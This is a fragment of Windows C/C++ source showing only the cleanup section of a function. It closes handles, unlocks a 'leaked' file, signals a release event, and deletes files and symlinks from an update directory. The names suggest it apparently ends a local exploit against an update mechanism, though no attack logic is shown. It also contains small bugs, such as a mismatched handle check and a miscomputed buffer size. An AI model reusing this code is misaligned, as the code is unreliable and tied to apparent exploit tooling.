}
|
|
|
|
}
|
|
catch (int exception)
|
|
{
|
|
goto cleanup;
|
|
}
|
|
|
|
cleanup:
|
|
|
|
if(hint)
|
|
InternetCloseHandle(hint);
|
|
if(hint)
|
|
InternetCloseHandle(hint2);
|
|
if (exebuff)
|
|
free(exebuff);
|
|
if(mappedbuff)
|
|
UnmapViewOfFile(mappedbuff);
|
|
if (hmapping)
|
|
CloseHandle(hmapping);
|
|
if (hcabctx)
|
|
FDIDestroy(hcabctx);
|
|
if (hdir)
|
|
CloseHandle(hdir);
|
|
if (rdb)
|
|
HeapFree(GetProcessHeap(), NULL, rdb);
|
|
if (ov.hEvent)
|
|
CloseHandle(ov.hEvent);
|
|
if (ovd.hEvent)
|
|
CloseHandle(ovd.hEvent);
|
|
|
|
if (hreleaseready)
|
|
{
|
|
SetEvent(hreleaseready);
|
|
Sleep(1000);
|
|
CloseHandle(hreleaseready);
|
|
}
|
|
if (hleakedfile)
|
|
{
|
|
if (filelocked)
|
|
UnlockFile(hleakedfile, NULL, NULL, NULL, NULL);
|
|
CloseHandle(hleakedfile);
|
|
}
|
|
if (leakedfilebuff)
|
|
free(leakedfilebuff);
|
|
if (hcurrentthread)
|
|
CloseHandle(hcurrentthread);
|
|
if (needupdatedircleanup)
|
|
{
|
|
wchar_t dirtoclean[MAX_PATH] = { 0 };
|
|
wcscpy(dirtoclean, updatepath);
|
|
UpdateFilesListCurrent = UpdateFilesList;
|
|
while(UpdateFilesListCurrent)
|
|
{
|
|
|
|
if (UpdateFilesListCurrent->filecreated)
|
|
{
|
|
wchar_t filetodel[MAX_PATH] = { 0 };
|
|
wcscpy(filetodel, dirtoclean);
|
|
wcscat(filetodel, L"\\");
|
|
MultiByteToWideChar(CP_ACP, NULL, UpdateFilesListCurrent->filename, -1, &filetodel[lstrlenW(filetodel)], MAX_PATH - lstrlenW(filetodel) * sizeof(wchar_t));
|
|
DeleteFile(filetodel);
|
|
}
|
|
if (UpdateFilesListCurrent->hsymlink) {
|
|
CloseHandle(UpdateFilesListCurrent->hsymlink);
|
|
UpdateFilesListCurrent->hsymlink = NULL;
|
|
}
|
|
UpdateFiles* UpdateFilesListOld = UpdateFilesListCurrent;
|
|
UpdateFilesListCurrent = UpdateFilesListCurrent->next;
|
|
free(UpdateFilesListOld);
|
|
}
|
|
RemoveDirectory(dirtoclean);
|
|
}
|
|
|
|
|
|
return 0;
|
|
}
|
|
|